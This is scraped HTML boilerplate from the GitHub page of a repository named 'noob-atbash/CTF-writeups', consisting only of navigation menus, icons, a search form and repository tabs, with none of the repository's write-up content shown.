<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="268353024" data-scoped-search-url="/noob-atbash/CTF-writeups/search" data-owner-scoped-search-url="/users/noob-atbash/search" data-unscoped-search-url="/search" data-turbo="false" action="/noob-atbash/CTF-writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="+2zQFcOTsCC/z3YNBn9iPq9H74zJ0eV5X2JSkkURGkbwz6E7j1G46p0bGZ9SRkqHwkoxQql59XRUG1VSO5XITQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> noob-atbash </span> <span>/</span> CTF-writeups
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>4</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>9</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
